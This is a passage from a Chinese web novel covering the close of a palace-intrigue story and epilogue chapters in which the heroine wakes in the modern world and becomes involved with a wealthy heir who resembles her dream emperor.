攻城当日没发现温清柔,在过清理战场的时候,从乱葬岗里发现了温清柔的尸体,身上穿着流民的衣裳,一只胳膊和一条腿没了,应该是乔装打扮成流民想趁乱逃走,却没跑成。 这些都是后来发生的事,温若初下令攻打大虞的第十五天,有人带着长乐公主回来了。 带长乐回来的不是别人,是温若初的堂兄温乐生。 温乐生皮肤黝黑,身穿银色铠甲,威风凛凛,再也不是那个满身肥膘,一步三喘的赌坊常客。 寻常小兵是没有铠甲的,温乐生的铠甲泛着银光,腰间佩戴令牌,是朝中四品武将,可以称得上一声将军了。 一个身形壮硕的汉子,接了佩剑,怀里抱着一个身高还没他手臂长的小女娃,径直走进宣政殿。 单膝跪地,双手拖着孩子,举过头顶。 “末将见过娘娘,末将把长乐公主给您带回来了。” 温若初亲自走下玉阶,赶紧接过长乐,双手止不住地颤抖,仔细检查,胳膊腿都完好无损。 长乐失踪十五日,长高了一些,一个六个多月的娃娃,瞧见她还会咧嘴笑。 悬在嗓子眼的心脏终于落回肚子里,亲生骨肉失而复得,又是哭又是笑的。 温若初不顾众位朝臣的目光,又是亲又是抱,抱了长乐好长时间,长乐睡着才让人送去宣政殿里间。 温若初调整好情绪,端坐高位,不等她开口问,温乐生主动解释缘由。 “启禀娘娘,末将听闻长乐公主被凌玄礼掳走,在凌玄礼回上京必经之地设卡阻拦,终于发现凌玄礼踪迹,夺回长乐公主,凌大人……” 温乐生顿了顿,打量一眼温若初神色。 提起凌玄礼,温若初面色难看,眼光犀利得像是要吃人。 继续道:“凌玄礼已经伏法。” 凌玄澈疏于朝政,对地方缺乏强而有力的约束,导致驻守在边塞要地有异心的将领各自为政,纷纷做起了土皇帝。 温乐生所在部队亦是如此。 半个月前,凌玄礼突然找上他,塞给他一个孩子。 温乐生抱着长乐,以为是凌玄礼在雍国已经娶妻生子,傻笑着问。 “凌大人,这孩子这么小,你这个当爹的怎么抱出来了?” 凌玄礼眉心紧蹙,眸色坚定。 “这是若初公主的孩子,我偷出来的,你还回去。” 温乐生吓得差点没把孩子扔出去。 雍国那边说大虞皇帝命凌玄礼偷走了温若初的孩子,大虞这边不承认。 雍国和大虞战乱起,就因为这个孩子。 雍国皇后放话,出万两黄金买长乐公主平安和凌玄礼的项上人头,江湖上不知道有多少人等着凌玄礼冒头,抢孩子杀人。 “不是……你没事偷我妹子家孩子干嘛?喜欢孩子自己生呗。” 凌玄礼也给了他原因,大虞各地纷争四起,百姓安流离失所,饿殍遍野,凌玄澈那个皇帝当的德不配位,还不如不当。 雍国在温若初的治理下,吏治清明,政通人和。 凌玄礼想引雍国的军队进大虞,推翻凌玄澈的王朝,让大虞百姓也能早些过上安居乐业的好日子。 雍国没有合适的借口攻打大虞,恰逢凌玄澈派使团去雍国用十六座城池换上官,使团空手而归。 凌玄礼便靠偷走温若初的孩子,假传凌玄澈旨意,要求温若初用上官换孩子。 凌玄礼知晓上官已死,温若初没有能换回孩子的筹码,定然要出兵。 他偷走温若初的孩子,雍国和大虞的这场仗一定能打起来。 凌玄礼把孩子交给温乐生之后,联合几个人杀了温乐生所在军队主将。 凌玄礼不慎中了一箭,身受重伤,伤及要害,弥留之际让温乐生率领军队去倒戈雍国。 还让温乐生隐瞒他偷孩子真实原因,咬定是凌玄澈下旨让他偷的孩子。 于是就有了温乐生送长乐公主回雍国都城这出。 温乐生来雍国都城之前,埋了凌玄礼的尸身,凌玄礼死之前吩咐他的,他照做了。 温乐生跪在宣正殿中央,依照凌玄礼教他说的,转述给温若初。 温若初冷眼打量温乐生。 她这个堂兄几斤几两她是知道的。 凌玄礼是大虞大理寺少卿,有些身手,反侦察手段了得,天机阁遍布各地都没找到凌玄礼,怎么会让温乐生撞见,还伏诛了凌玄礼。 话里话外漏洞百出。 温若初懒得和温乐生计较那些细枝末节,这些不重要。 重要的是长乐回来了,凌玄礼也死了。 至于雍国军队…… 开弓没有回头箭,已经和大虞开战,没有撤回的道理。 昨晚沈惊澜清醒一阵,没敢说长乐失踪的事,只说大虞和雍国边界起了冲突,温若初自作主张发兵大虞,沈惊澜是同意的。 大虞,打便打了。 第221章 孝和皇帝 前线捷报频传,雍国大军占领大虞上京。 上京比都城地理位置优越,气候也暖和,遂迁都上京。 沈惊澜还是那个老样子,身子消瘦,精神不济,时常卧病在床,续命的汤药吊着。 战乱逐渐平息,雍国版图达到空前的强大,朝廷出银子给那些因战乱而流离失所的百姓安置了住处,一片政通人和,百废待兴景象。 政局逐渐稳定下来,有朝臣没事闲的张罗兴修陵寝,钦天监划出一块风水宝地,可续大虞千秋万代,地点就在大虞开国皇帝太祖皇帝的陵墓后十里。 沈惊澜和温若初是雍国开创盛世的皇帝皇后,陵墓前埋着大虞的开国皇帝有大虞盖过雍国的隐喻意义,在加上续千秋万代的噱头。 朝臣纷纷上奏移走大虞太祖皇帝骸骨。 温若初知道大虞太祖皇帝的陵寝,占地面积七十余亩,依山傍水是块风水宝地。 过去的大虞国力强盛,修葺过几次,陵寝建筑古朴厚重,外围摆放奇珍异石,就连雕刻在石碑上的花纹都是顶级工匠手笔。 朝臣上奏详表用的是“移走”,“移走”说得好听,无外乎还是挖坟掘墓,温若初还没缺德到那个地步。 自古天下大势分久必合,合久必分,哪有什么千秋万代,能千秋万代,凌玄澈的王朝也不至于倒了,还有他们什么事。 刚刚迁都,人手不够,温若初启用了一些大虞旧臣。 说挖坟能续千秋万代的,明显动机不纯,有挑起新旧势力纷争的嫌疑。 温若初对自己百年之后睡觉的地方不挑,能让她舒坦地死就成,反正两眼一闭什么都不知道。 让天机阁秘密处决了两个挑事的,让钦天监重新选了一块地方,背靠高山,面朝一大片平整的土地,开垦出来就是良田。 沈惊澜向往寻常百姓的生活,那个地方他一定喜欢。 确定下来陵墓选址,便开始动工,温若初严令不可大兴土木,劳民伤财。 挖坟闹得沸沸扬扬,终于在温若初的力排众议之下,平息下来。 这日,温若初处理完政事,伺候沈惊澜喝吊命的汤药,汤匙递到沈惊澜嘴边。 沈惊澜依靠在软枕里,脸色煞白,眼窝深陷,一脸病态,嘴角努力扯出一丝微笑弱着声音对温若初道。 “这些事让太监来做就行,你累了一天,歇息去吧。” “不累!” 汤匙里的汤药送进沈惊澜嘴里,温若初坐在床边忍不住想。 沈惊澜的身子一天不如一天,说不定哪天就嘎掉了,再伺候能伺候几日。 陵寝已经开始修筑了,可千万等陵寝修好了之后再死,要不然没地方。 两人内侍禀告。 “玄真子求见,说是来医治陛下的病。” 玄真子是夏分的师父,一个四处云游的方士。当初沈惊澜的筋脉断了,就是玄真子医治好的。 玄真子医治好沈惊澜之后,便再也没见过。沈惊澜病重之后,温若初遍地寻找名医,还找过玄真子,可以一直没什么消息。 “传。” 玄真子和夏分师徒二人一起来的,寒暄见礼过后,温若初赶紧让开位置,让玄真子给沈惊澜诊脉。 温若初站在一边大气不敢喘,等玄真子的手指离开沈惊澜手腕,才探着身子,一脸期翼地问。 “道长,陛下怎么样了?” 玄真子身形瘦削,眉心紧蹙,捋着山羊胡子,长长叹了一口气。 “脉象无力,肺腑衰微,命不久矣。” 温若初眼底的光亮瞬间暗淡,沈惊澜病重的这一年,不知道有多少人给沈惊澜诊病,希望到失望,重燃希望,然后再失望。 沈惊澜清楚自己身体情况,看温若初一脸灰心失望的样子,远比来自身体上病痛的折磨更让他心疼,笑着安慰温若初。 “没关系,朕多活了一年多,已经赚了。” 玄真子沉吟半晌,一脸为难之色。 “若陛下娘娘信任贫道,贫道可试试,应该能帮陛下延续十年寿命。” 温若初眼底的光又重新亮了起来,玄真子医术了得,用玄真子师弟广成子的话来说,玄真子能医死人肉白骨,却很少为人医病,行踪不定,请玄真子治病全凭运气。 玄真子说能续十年,那就是至少十年以上。 别说十年了,就是一两年也成啊,温若初和沈惊澜对视一眼,两人眼底都是对绝处逢生的喜悦。 “那……那幸苦道长了。” 温若初让人准备好玄真子需要的东西,就和夏分两人退出房间。 倒也不是退,严格来说是被玄真子捻出来的,玄真子嫌温若初碍事,温若初有好多话和夏分说,玄真子撵她,她顺便把夏分拉了出来。 温若初等在外间,心系沈惊澜病情,也没耽误和夏分闲聊。 话题不知怎么扯到玄真子为何突然给沈惊澜治病上,她下令寻找玄真子,玄真子不可能不知道她在找他。 夏分心虚地笑了笑,“师父常说不干涉旁人因果,确实不想来,前几日您保下了大虞太祖皇帝陵寝,师父说欠下您一个人情,就来还了。” 温若初想了半天,后知后觉,玄真子原名方良才,祖辈是太祖皇帝的守陵人,她留下大虞太祖皇帝的陵墓,原来也帮了自己。 夏分见温若初不说话,温若初杀伐果断的名声早已传遍,杀人就跟砍冬瓜似的,以为温若初生气了,小心翼翼问。 “娘娘不会生师父的气了吧?师父就是那样的人,千万别和师傅一般计较。” 若是没有温若初力排众议保下太祖皇帝陵寝,就算温若初派人砍了他的脑袋,师父也是不愿意为沈惊澜医治的。 玄真子能医治沈惊澜,温若初高兴还来不及,怎会生玄真子的气,手长在人家手上,愿不愿意帮沈惊澜,是玄真子自己说了算。 玄真子在皇宫住了一个多月,日日为沈惊澜针灸,沈惊澜的身子一天天好转,最后竟然能自己下床行走了,和正常人无异。 玄真子走之前叮嘱沈惊澜,不可动怒,不可过于操劳。 沈惊澜听从玄真子建议,彻底当起了甩手掌柜,政务推给温若初,他负责几个孩子的学业启蒙。 温若初积极推行吏治改革,兴办女学,鼓励女子科举,鼓励农耕生产,鼓励小商品经济,减轻百姓赋税,强化军队,加强对地方的控制。 经过几年的发展,雍国成为强国,政治经济军事,远胜于其他周边小国。 十五年后沈惊澜薨逝,传位给温若初。 百官无一异议,温若初登基,执政四十年,时年八十岁,寿终正寝,同沈惊澜葬合葬于一处。 皇位传给了德才兼备的孙子沈念,沈念是沈煜的嫡次子,聪颖好学,很小的时候就有忧国忧民之心,被温若初亲自教导长大。 温若初死后,沈念为温若初拟定谥号:孝和皇帝。 史书《雍史?帝纪》中称赞:孝和皇帝温氏,以女子之身承大统,创千古未有之局。其临朝四十载,内修文治,外拓疆土,使雍国‘仓廪实而知礼节,衣食足而知荣辱’。 彼时朝堂之上,女官簪花、士人执卷,街巷间商队络绎、学堂书声琅琅。皆言“此乃温后兴学通商之荫”。 (本书完) 第222章 番外 回到现实世界 “醒醒,到地方了。” 温若初缓缓睁开眼睛,面前是一张铺着厚厚粉底,眼睫上贴着假睫毛,三分靠长相,七分靠化妆一张美颜的脸。 “高欣?” 高欣是她大学室友兼闺蜜,毕业后两人同在一家影视动漫制作公司任职。 豪华大巴只剩下她和高欣两人。 高欣见温若初瞪大眼睛愣神,一副没睡醒被夺了魂魄的样子,抬手搓了搓温若初的脸。 “醒醒,到地方了,”一脸兴奋地对温若初介绍,“这里是人妖国首都M市的市中心,这里有整个人妖国大红灯区,等晚上姐带你潇洒去。” 人妖国? 温若初后知后觉反映过来,老板图省钱,搞公司团建,带他们来人妖国旅游,路上无聊,听小说睡着了。 方才做了一个无比真实,又长长的梦,梦到自己当了女皇帝,寿终正寝,活到八十多岁。 不过是做了一个梦而已,梦醒来却有一种空落落的感觉。 温若初揉了揉太阳穴,彻底清醒,很快调整好状态,捏了捏发酸的肩膀和后脖颈。 “好累啊,你去吧,我就不奉陪了。” 说着扯下耳机塞进双肩包隔层里,背包背在后背就往外走。 高欣跟在她身后,不死心劝道,“别啊,你不是说你没去过酒吧,来之前咱们可说好了,我陪你去去M市最大的红灯区,点最靓的男模……” 来人妖国之前温若初的确答应过高欣去酒吧找男模,可现在她不想去了。 同事们还在酒店楼下等着,顶着地中海的张经理频繁看表,平常笑嘻嘻的,却是个乐忠于抓考勤的变态,迟到一分钟按旷工半天处理,还要逼逼叨逼逼叨做一番思想教育。 上个月温若初迟到四次,在变态张的思想教育下许诺,以后凡是和公司有关的事情绝不迟到,绝不耽误大家时间,若有违背,请全公司的人喝奶茶。 三十几号人,买奶茶就要小一千了,她的钱可不是大风刮来的,回手抓住高欣的胳膊就朝酒店门口狂奔。 “快走快走,点男模的事等会再说。” 噼里啪啦跑到酒店门口和同事们汇合,眼瞅变态张要开启长篇大论,赶紧嬉皮笑脸解释。 “张经理您从哪里找的大巴?座椅就跟按摩椅似的,体验感太好了,我一不小心就睡着了,让大家久等了,抱歉啊。” 张经理说教人的话被堵回肚子里,扶了扶眼镜,很满意温若初的溜须拍马。 “下次注意。” “今天下午大家分完房间之后,好好休息,明天集团总经理沈总要请大家吃饭,沈总可是神龙见首不见尾,大家保持好状态,给沈总留下一个好印象,若是大家表现好,说不定明年的重心能转移到国内。” “后天有导游带着大家游M市。” “我们大家出门在外啊,一定要注意安全,虽然这里位于市中心,治安相对可以……” 变态张科普了一个小时的安全教育课,终于开始分房间了,两人一个房间。 温若初自然和高欣分到一间房。 温若初伸展手臂“大”字躺在床上,盯着悬在天花板的水晶吊灯出神。 “换上!” 一件只有几块布拼成的超短裙扔了过来,温若初懒洋洋地看向高欣。 “干嘛?” 高欣已经换上了一身夸张的抹胸款修身连衣裙,脸上画着精致妆容,弯腰穿高跟鞋。 “去酒吧找男模啊,我可告诉你啊,咱们都说好的,你临时变卦我可不答应,特意带了两身衣裳,就为点男模的时候穿。” 温若初有点不愿意去,“明天不是还要见总部的沈总,今晚出去鬼混,顶着两个黑眼圈见大老板不好吧?” 高欣道:“听变态张胡说八道,集团重心永远都不会转移到国内,沈家靠玉石生意发家,重心在玉石矿上,咱们那个动漫设计公司,最多算是玩票。” 高欣叹了一口气,“沈总六十多岁了,人又刻板,没什么可看的,明天咱们就找个不起眼的地方一待,不会有人在意咱俩的。” “沈总若是个年轻的,长得贼拉帅,身高188,我还点什么男模啊,我直接看沈总就行了。” 高欣穿完高跟鞋,催促温若初。 “你快点,酒吧现在正是热闹时候。” 温若初拎起裙子瞅了一眼,吊带蕾丝款,只有几块布,都遮不住肉,是她和高欣一起逛街的时候买的。 空闲下来,脑子里不受控制地想那个梦,好像有什么东西从身体里被抽了出去,大梦初醒的感觉并不好,不愿意被无关的事情左右自己的大脑,更何况是一场虚无缥缈的梦。 她犹豫半晌,换了一件相对保守一些的红色连衣裙,一字肩领口手工缝制一圈珍珠,穿在身上衬得脖颈白皙而修长。收腰处掐出几道褶皱,更凸显曼妙婀娜曲线。 一双同色系高跟鞋蹬在脚上,往镜子前一站,明明生着一张娇俏眉眼,却莫名有一种久居上位者气息,高傲,成熟,杀伐决断。 高欣捂着嘴巴惊呼,“哇!我亲爱的女王阁下,你今天要统一红灯区?” 温若初没理会高欣的插科打诨,对着镜子照了照,不满意,镜子中的自己陌生又熟悉,也不知是哪里不对劲,扯出一件宽松版黑西装搭在身上。 “走吧!” 来人妖国之前做过攻略,两人穿戴好,让酒店订了一辆车直奔M市最大酒吧。 人妖国是一个信奉佛教的国家,无论是酒店或是酒吧,装修风格都有佛教元素,这里色情产业发达,和网上说的一样,有打扮精致等着生意的男女,还有不男不女。 高欣进了酒吧就放飞自我了,招蜂引蝶,在第N个小帅哥朝她抛媚眼的时候,终于满意,朝温若初举了举杯,示意先走了。 震耳欲聋的音乐和加了冰块的果酒很快填满整个大脑,吹散大梦初醒带来的那种怅然若失的感觉,浑身血液跟着沸腾起来。 温若初端着酒杯坐在卡座里,好整以暇地看着台上歌手激情卖唱。 手机振动一声,来自高欣的短信。 “女王殿下,我要好好享用小鲜肉了,尹恩说网上也可以点他们,还是带照片的,我看了几个,模样都不错,个顶个的长腿八块腹肌,要不要下单帮你点一个。” 温若初轻笑一声,本就打算喝点酒,消遣一下,没打算过界,点什么劳什子男模,现在真没那个兴致,快速回了短信。 “你自己玩吧。” 温若初独自坐在卡座里,不知来自二楼贵宾区一道视线,从她进门开始就落在她的身上,那视线炙热带着一股久违的气息。 第223章 番外 沈男模 手机叮的一声,高欣给她发来一张图片,掐头去尾的一张男子图片,被水打湿的白色衬衫,半透不透紧紧贴在身上,垒块分明的腰腹肌肉极致性感地显露出来。 图片下面跟着一行文字:怎么样? 温若初以为图片中男子是高欣点的男模,随口回了一句。 “还不错!” 高欣很快回了消息,“就知道你喜欢这款,我帮你点了,你放心,他们这是正规平台,能查到他们的身体健康报告,别说我不仗义啊,我帮你查过了,绝对安全。” 温若初吞进嘴里的果酒差点没喷出来,呛咳好几声。 “我真的不需要,你快取消。” “不和你说了,我的小鲜肉洗白白出来了,男模帮你选好了,好好享用。” 温若初接连给高欣发了几条消息,估计是正腻歪,没时间搭理她,几条消息都石沉大海。 和高欣发消息的过程中,陆陆续续有五六个来搭讪的,温若初都婉拒了。 人妖国的酒吧还真不是她能待的地方,想好好喝酒都有点困难。高欣还捣乱,非要点什么男模。 温若初知道自己的毛病,不胜酒力,一杯酒刚好,两杯酒头脑就有些晕晕乎乎,三杯酒必然出洋相。 仰头灌下酒杯中剩下果酒,也是第二杯酒,不能再喝了。拿起手包就准备走,不然等高欣点的男模到了,就尴尬了。 “可以请你喝杯酒吗?”一道低沉而富有磁性的声音传进温若初耳膜。 “不需要!” 温若初头不抬眼不睁,嘴里脑子快,机械性地回道,今天已经不知道对少人和她说过这句话了,有了拒绝经验,“不需要”这句话都说顺嘴了。 温若初说完话后知后觉反应过来,这人的声音有些熟悉,偏头看去,呼吸都跟着小心翼翼几分。 来人身材修长,剪裁合体的商务暗色西装包裹劲瘦有力腰身,衬衫扣子规矩地系着,像是刚开完一个正式的商务会议,和周遭随行喧嚣的环境有些不搭。 下颌线条凌厉,两片薄唇微微抿着,眉眼深邃,昏暗的灯光掩去他眸底的复杂情绪。 温若初盯着来人的脸,这张脸惊为天人,比大多数影视明星都好看,她震惊的不是他模样多好看。 而是这人的相貌和梦里的那个人简直是一个模子里刻出来的。 沈惊澜这个名字堵在喉咙里,欲脱口而出,想了想还是止住了冲动。 沈惊澜也穿越过来了? 温若初很快否定了这个想法,沈惊澜是书中人物,是纸片人,怎么可能穿越到现实世界? 这人长得又实在太像沈惊澜。 温若初瞪大眼睛,怔愣地看着眼前人,思绪千回百转,一股酸涩涌上心头,幸而喝了酒,脸颊隐隐翻红,微醺的状态让人看不出她的异样。 沈惊澜站在原地,没因温若初的拒绝而产生丝毫不悦情绪,反而唇角勾起一丝若有似无笑意,把酒放到温若初面前,自顾坐下,和温若初隔着两个人的距离,不远不近的安全社交范围,距离刚刚好。 “这杯晚风来信是这家酒吧金牌调酒师杰作,添加了蓝橙力娇酒菠萝汁苏打水,用薰衣草糖浆挂壁,形成紫色渐变,浓郁果香味混合淡淡酒香,很适合温小姐这种不胜酒力的人。” 温小姐? 温若初不知道坐在她身边的男人名字,也不知他的身份。 暗暗深吸一口气,稳了稳心绪,强行把脑子里那段梦境扣出去,回归现实,她敏锐地抓住沈惊澜话中关键信息。 温若初确定现实世界没见过这个人,他怎知她姓温?又怎么会知道她不胜酒力? 好不容易平息下去的思绪又翻涌起来。 “你……” “只是想请温小姐喝杯酒,”沈惊澜顿了顿,“交个朋友。” 很老套的把妹话术,不知是谁发来消息,包里手机振动一下,想起来方才高欣说帮她点了男模的事。 男模接了单,为更好服务顾客,向下单人询问顾客基本信息,是基本的职业道德规范。 这人八成是高欣帮她点的男模。 温若初眼底闪过一丝失落,那颗悬在嗓子眼的心脏,扑通一声落回肚子里。 “谢谢。”这次她没拒绝。 暗暗感叹经济不景气,男模这行都这么卷了,自掏腰包请顾客喝酒,也可能是放长线钓大鱼。 温若初拿起那杯紫橙色渐变名为晚风来信的酒,凑到唇边微微抿了一口,余光打量坐在身边的人。 这人模样生得俊俏,胸脯鼓鼓的,是块做男模的好料。 本不满高欣不经她同意就点了男模,眼下看着这张脸,温若初突然转变了想法,或许是上了酒劲,也或许是想证明什么。 眼神肆意在沈惊澜身上打量,勾唇浅笑。 “做这行几年了?” 沈惊澜眸色顿了顿,似乎没料到温若初直接问起了他的家事。 前阵子司机休息,他开车回家,为躲避突然从马路边窜出来的小孩,车子撞到树上,出了车祸,倒是伤得不重,只是当时就昏迷了。 等醒来是躺在医院病床上,发现多了一段不属于他的记忆,记忆中他命运多舛,被亲生父亲屡次谋害,去敌国当质子才勉强苟活下来。 幸而在他漫长灰暗人生中认识了一个性格洒脱不羁的郡主,带他走出黑暗。后来他当了皇帝,有了属于他们的子女,日子过得充实又幸福,再后来他死了,留下她一个人。 沈惊澜出院之后,找高僧破过,那僧人说那女子是他命定的缘分,让他在这家酒吧等。 最近几日忙完公司事情,就会来这家酒吧。 果然被他等到了,那种熟悉的感觉指引他在茫茫人海一下子捕捉到了她的身影。 沈惊澜紧了紧眉头,认真思考温若初的话。 他家里世代经商,从记事起就跟在父亲身边学做生意,若是算正式接触家里生意,从初中就开始了。 父亲说让博士毕业之后彻底接手家中生意,也就是下个月初。 沈惊澜在心里算了算时间,定定道:“十五年。” “十五年?” 温若初看向沈惊澜的视线更加震惊了,瞧这人年纪不大,倒推十五年,也就十几岁,眼底升起一丝同情。 “那么小就做这个了?” 沈惊澜点点头,“我很小的时候就跟着父亲做生意了。” 温若初更震惊了,人妖国不愧是色情产业发达,皮肉生意都是祖传的。 很自然地联想沈惊澜爹妈没正事,家里有十几个姊妹弟弟要抚养,受爹妈胁迫出来卖肉。 对沈惊澜更加同情,今天这单说什么都得让他赚到钱,只是在这卖酒赚不到多少,出去过夜好像能多些。 第224章 番外 不认账 隔天集团总部的沈总请吃饭,主要是变态张的想让总部资源倾斜到国内公司,不知道从哪里找的关系硬是搭上了总部的线,在沈总面前推销自己团队如何牛逼,并且能赚到大钱。 温若初按照约定时间提前一分钟进入包厢,主位空着,变态张也不在,同事们围坐在桌前,三三两两闲聊,高欣朝她摆摆手,示意她坐过去。 很意外高欣居然比她早道,瞧着面色也不像是纵欲过度的样子。 “你怎么比我准时?” “别提了。”高欣撅着嘴巴,一脸气愤,竖起小拇指比划出一小节。 “昨晚那个小鲜肉是个细短快,就这么长,体验感非常不好,半夜就让他滚了。” 温若初了然点点头,不置可否。 高欣生了一会闷气,像是突然想起什么似的,低声问温若初。 “我昨天给你点了男模,你怎么跑了啊,给你打电话你也不接,死活找不到你人,我钱都花了,人家说了找不到人不是他责任,不退钱,你去哪了?” 温若初一脸懵。 昨天手机忘记充电关机了。 昨晚和沈惊澜离开酒吧之后,开了房,聊了几句,也知道了送给她酒的人叫沈惊澜。 可能先入为主的原因,温若初把沈惊澜当成了高欣给她点的男模,那个无比虚幻又真实的梦总是时不时地钻出来。 尤其是面对沈惊澜那张脸的时候,三杯酒过后,七分醉意三分清醒,梦境和现实重合,克制不住翻涌的情绪,一夜鱼水之欢。 离开酒店的时候,沈惊澜还睡着,按照这边市场行情,又添了点小费放在枕头上。 沈惊澜昨晚的表现不错,也是奇怪,昨天萦绕在心头那种大梦初醒的失落感一下子就没有了,一早起床都是神清气爽的,那场梦抛出脑后,满心都是对未来生活的向往。 还想着这几日多照顾照顾沈惊澜的生意呢。 高欣却说昨晚的男模没找到她。 那……那沈惊澜是怎么回事? 温若初正纳闷,包厢门被推开。 门口出现一张帅气逼人的脸,来人身穿暗色休闲西装,身材高大,脊背挺得笔直,俊美的五官瞬间抓住包厢内所有人的眼球。 闲聊声瞬间停歇,纷纷朝门口看去。 “小沈总这边请,咱们的这个动漫制作团队,技术绝对过硬,缺的就是一个好的平台。” 张经理顶着地中海发型,一脸谄媚地拥着人落座主位。 沈惊澜听得仔细,时不时应上一声。 变态张开始介绍沈惊澜。 “这位是集团的小沈总,下个月接手集团所有业务包括咱们公司,小沈总对大家的工作予以高度肯定,下半年要加大投资……” 变态张又开始了他的长篇大论,众人伸着脖子听,眼神却时不时落在沈惊澜身上,好看的皮囊谁都爱看。 高欣往温若初这边凑了凑,一脸花痴,小声八卦。 “这位就是沈总唯一的儿子集团太子爷,听说是宾夕法尼亚大学的高材生,有钱又聪明,关键是人家长得还这么帅,不知道他结婚没有,我决定了,我这辈子都要卖给公司,一辈子给他当牛做马。” 温若初没搭理高欣的花痴,从沈惊澜进门开始,她的脑子就是乱的,一锅浆糊一样失去思考能力。 她把老板睡了,还大发善心地给了不少嫖资。 怎么会有这么离谱的事? 没有比这更社死的事了,她恨不得找个地缝钻进去。 温若初耳尖通红,低着头,撑着额头,手臂遮挡住大半张脸,暗暗祈祷沈惊澜没注意到她。 整个席间温若初都是低头的,默默吃饭,夹菜都是只夹自己面前的,尽量降低存在感。 席间沈惊澜并未表现出过于关注温若初,大家自我介绍轮到温若初,沈惊澜也只是象征性地问了几句工作上的事,礼貌疏离又绅士,好像第一次领导见下属一样。 沈惊澜表现得太过正常,温若初都有点怀疑昨晚到底睡没睡沈惊澜,沈惊澜没当回事,简直不要太好。 她暗暗松了一口气,局促不安逐渐缓解。 宴席结束,也不知哪个嘴欠的提的,要去总部参观,沈惊澜同意了,众人欢欣雀跃。 变态张跟在沈惊澜屁股后面滔滔不绝畅想公司未来发展。 沈惊澜单手揣进裤兜,不知想到了什么,突然回头看向温若初。 “你的发夹。”裤子口袋里的发夹递给温若初。很普通的款式,银色鸭嘴夹,上面嵌着一只蝴蝶。 发夹属于私人物品,众人纷纷看向温若初,又瞅了瞅沈惊澜,眼里八卦意味明显。 温若初僵站在原地,倒吸一口冷气。 卧槽!大哥不带这么玩的。 她怀疑沈惊澜是故意整她。 温若初扯了扯嘴角,伸手接过发夹。 “原来被小沈总捡到了,这发夹是外婆送我的,吃早餐的时候不小心把发夹弄丢了,找了好几圈都没找到,原来被您捡走了,太感谢您了。” 三言两语澄清了两人关系,众人眼中八卦意味退去。 “不客气。” 沈惊澜淡淡的语气中藏着几分不易察觉到的不悦。 高欣一脸八卦凑到温若初身边低声问。 “你什么时候和太子爷认识的,太不仗义了,也不告诉我。” 温若初不知道要如何解释和沈惊澜的荒唐相遇,高欣的声音不大不小,有几个人刻意放缓脚步,明显是想偷听八卦。 高欣追问个没完没了,温若初不胜其烦。 “我……不认识。” 想着回酒店和高欣解释认识沈惊澜的经过。 沈惊澜走在前面,变态张在他耳边喋喋不休,他耳力向来很好,瞅了一眼玻璃上映出的那抹俏丽身影,扬了扬眉头。 睡了人,回头就不认账。 等着! 第225章 番外 结婚吗? 荷枪实弹的武装押运车停在沈氏集团总部大楼前,追风拎着一只手提包大小的金属银色箱子,从押送车上下来,在安保人员的护送下阔步走进大楼,乘直达顶楼总裁办公室电梯。 十几分钟后,沈惊澜办公室门板被推开。 金属银色箱子放在办公桌上,密码锁弹开的瞬间,沈惊澜身后的落地窗突然折射进一道刺目光芒。 一串鸽血红宝石项链赫然展露,每颗宝石都足有鹌鹑蛋大小,在日光灯下流转着熔岩般的艳光,金丝缠绕的项链上还镶嵌着碎钻,像给火焰镶了层流动的银河。 追风吊儿郎当倚在办公桌前,“这串天使之吻目前估值八位数,阿姨说留给她未来儿媳妇的,在银行保险柜蒙尘五六年,突然让我取出来……” 追风嘴角噙着笑意,看着沈惊澜调侃道:“……铁树开花想娶媳妇了?” “不行?” 沈惊澜坐在椅子里,撩起眼皮淡淡扫了一眼追风。 追风姓叶,叶家和沈家是世交,追风和沈惊澜两人一起长大,追风性格跳脱,在沈惊澜各种奖学奖杯奖状奖学金拿到手软的时候,追风还在和精神小伙精神小妹混夜场。 追风的父亲嫌弃追风整天吊儿郎当没正事,容易带坏家里弟弟妹妹,沈惊澜回国后,架着追风的胳膊送到沈惊澜身边,让追风跟着沈惊澜学习做生意,还断了他所有银行卡。 追风娇生惯养,谁都不服,就服沈惊澜,这两个月也确实收心了,在沈惊澜办公室做特助。 追风睁大眼睛一脸不可置信地围着沈惊澜打量两圈,他一大早听公司的人八卦,沈惊澜捡到一个女生发夹,还还给了人家。 沈惊澜不是一个没事给自己找事的人,捡发夹这种行为,实在太不沈惊澜了。 “就你捡发夹的那个?” “是她。” 沈惊澜瞅了一眼箱子里的红宝石项链,语气认真,不像是开玩笑,甚至语气中隐隐带着几分不容置喙的意味。 追风:“不是,又不是古代,你捡了人家发夹,人家就得对你以身相许?人家能同意?” 沈惊澜不置可否,拇指无意识地摩挲着食指指腹,墨黑的眸子盯着那串名为天使之吻的红宝石项链出神,不知道在琢磨什么。 追风大嘴巴,和沈惊澜说话的功夫,把沈惊澜想要娶媳妇的消息发给了沈惊澜的妈。 沈惊澜是独生子,快三十的人连女朋友都没谈过,沈伯母还曾怀疑沈惊澜有某些心理或身体方面的问题,沈伯母不知道多希望沈惊澜早日成家。 没一会儿,追风微信里多了两万转账。 追风查了一下余额,.1,他嘿嘿一笑收起手机,嬉皮笑脸讨好地看向沈惊澜。 “试试呗,万一人家想不开就同意了呢?” 沈惊澜抬眼看向追风,追风后知后觉说错话,拍了一下嘴巴,改口道。 “小沈总有颜有钱,智商一百三十五,这条件去哪找,那姑娘肯定能相中你,作为特助,操心老板的终身大事,是我分内的事,包我身上,奖金准备好就行。” 沈惊澜:“少不了你奖金。” 四个小时之后,那串价值连城的红宝石项链出现在温若初面前。 西餐厅灯光暧昧昏暗,小提琴声宛转悠扬。 温若初身穿湖蓝色紧身连衣裙,坐在靠窗位置,这里可以俯瞰整个城市夜景,穿梭的车帘和行人如蝼蚁般在脚下穿行。 下午手机收到一条微信,只一张图片,图片里一打现金放在枕头上,配文,不打算给我一个解释? 号码陌生,没头没尾的一句话,温若初一下子看出来发信息的人是沈惊澜。 温若初明天就打算走了,虽说那天闹了一个乌龙睡了沈惊澜,起初温若初还胆战心惊的,毕竟沈惊澜可是太子爷,这年头工作不好找,得罪了太子爷以后日子没发过。 可沈惊澜表现平平淡淡,似乎压根没把这事当回事,温若初也就放松了警惕。 算起来都过去一周了,沈惊澜却发来这样的图片质问,显然是想秋后算账,道歉的话准备了一肚子,甚至想到患夜游症解释那晚的无状。 客套几句,道歉的话还没说出口,沈惊澜就拿出一条红宝石项链,问她好看吗? 她对珠宝没什么研究,分不清好坏,就是觉得挺好看。 温若初点点头,夸了两句。 “很好看,一看就是好东西。” 装着红宝石项链的黑色丝绒盒子边上还放着一份沈惊澜的体检报告。 沈惊澜不会是得了什么脏病,赖上她了吧? 